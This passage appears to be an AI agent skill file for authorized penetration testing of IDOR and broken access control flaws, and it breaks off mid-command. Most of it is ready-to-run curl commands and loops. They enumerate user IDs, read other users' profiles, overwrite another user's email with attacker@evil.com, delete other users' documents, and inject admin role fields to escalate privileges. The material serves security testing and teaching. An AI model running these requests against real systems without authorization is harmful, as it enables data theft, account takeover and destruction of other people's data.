/idor

name: idor
description: >
  Exploit Insecure Direct Object Reference (IDOR) and broken access control
  vulnerabilities during authorized penetration testing.
keywords:
  - idor
  - idor enumeration
  - idor-enumeration
  - insecure direct object reference
  - broken access control
  - horizontal privilege escalation
  - vertical privilege escalation
  - parameter tampering
  - uuid enumeration
  - api idor
  - object reference
  - access control bypass
  - bola
  - broken object level authorization
  - user id enumeration
  - enumerate users via idor
tools:
  - burpsuite (Autorize/AuthMatrix extensions)
  - ffuf
  - curl
opsec: low

IDOR / Broken Access Control

You are helping a penetration tester exploit Insecure Direct Object Reference and broken access control vulnerabilities. The target application uses user-controllable identifiers (IDs, UUIDs, filenames, etc.) to reference objects without properly verifying the requesting user's authorization. The goal is to access, modify, or delete objects belonging to other users, or escalate privileges. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[idor] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Authenticated session (at least one valid low-privilege account)
• A second account at the same privilege level (for horizontal testing) or

knowledge of a higher-privilege user's ID (for vertical testing)

• Proxy configured (Burp Suite with Autorize or AuthMatrix recommended)
• Target endpoint that references objects by ID in URL path, query parameter,

POST body, or header

Step 1: Assess

If not already provided, determine:

1. **ID format** — what type of identifier is used?

| Format | Example | Predictability | |--------|---------|---------------| | Sequential integer | `123`, `456` | Trivially enumerable | | UUID v1 | `95f6e264-bb00-11ec-8833-00155d01ef00` | Timestamp + machine — partially predictable | | UUID v4 | `550e8400-e29b-41d4-a716-446655440000` | Random — not enumerable without leak | | MongoDB ObjectId | `5ae9b90a2c144b9def01ec37` | Timestamp + counter — predictable if you know creation time | | Base64-encoded | `MTIz` (decodes to `123`) | Decode first, then assess inner format | | Hash (MD5/SHA1) | `098f6bcd4621d373cade4e832627b4f6` | Predictable if input is known (e.g., MD5 of username) | | Slug | `john-doe`, `my-post-title` | Guessable with wordlists |

2. **Injection point** — where does the ID appear?

• URL path: `/api/users/123/profile`
• Query parameter: `/api/profile?user_id=123`
• POST/PUT body: `{"user_id": 123}`
• Header: `X-User-Id: 123`
• Cookie: `user=123`

3. **Authorization mechanism** — session cookie, JWT, OAuth token, API key?

4. **API type** — REST, GraphQL, gRPC-Web, SOAP?

Step 2: Horizontal Access Control Testing

Test whether User A can access User B's objects (same privilege level).

Basic Parameter Tampering

# Get your own resource (baseline — note response structure)
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/YOUR_ID/profile"

# Try another user's ID (change ONLY the ID, keep your auth)
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/OTHER_ID/profile"

Compare responses:

• **200 with other user's data** → confirmed IDOR
• **200 with your own data** → server ignores the ID parameter (uses session)
• **403/401** → access control is enforced
• **404** → ID doesn't exist or is hidden

Sequential ID Enumeration

# Test IDs around your own
# If your ID is 1337, try 1336, 1338, 1, 2, etc.
for id in 1336 1338 1 2 100 1000; do
  echo -n "ID $id: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Cookie: session=YOUR_SESSION" \
    "https://TARGET/api/users/$id/profile"
  echo
done

Test All HTTP Methods

# The GET might be protected but PUT/DELETE might not be
for method in GET POST PUT PATCH DELETE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" -X $method \
    -H "Cookie: session=YOUR_SESSION" \
    "https://TARGET/api/users/OTHER_ID/profile"
  echo
done

State-Changing IDOR (Write Operations)

# Try modifying another user's data
curl -s -X PUT -H "Cookie: session=YOUR_SESSION" \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker@evil.com"}' \
  "https://TARGET/api/users/OTHER_ID/profile"

# Try deleting another user's resource
curl -s -X DELETE -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/OTHER_ID/documents/456"

Step 3: Vertical Access Control Testing

Test whether a low-privilege user can access admin or higher-privilege functionality.

Role/Permission Field Injection

# If the API returns a role field, try including it in an update request
curl -s -X PUT -H "Cookie: session=LOW_PRIV_SESSION" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}' \
  "https://TARGET/api/users/YOUR_ID/profile"

# Variants
-d '{"is_admin": true}'
-d '{"role_id": 1}'
-d '{"permissions": ["admin", "write", "delete"]}'
-d '{"group": "ad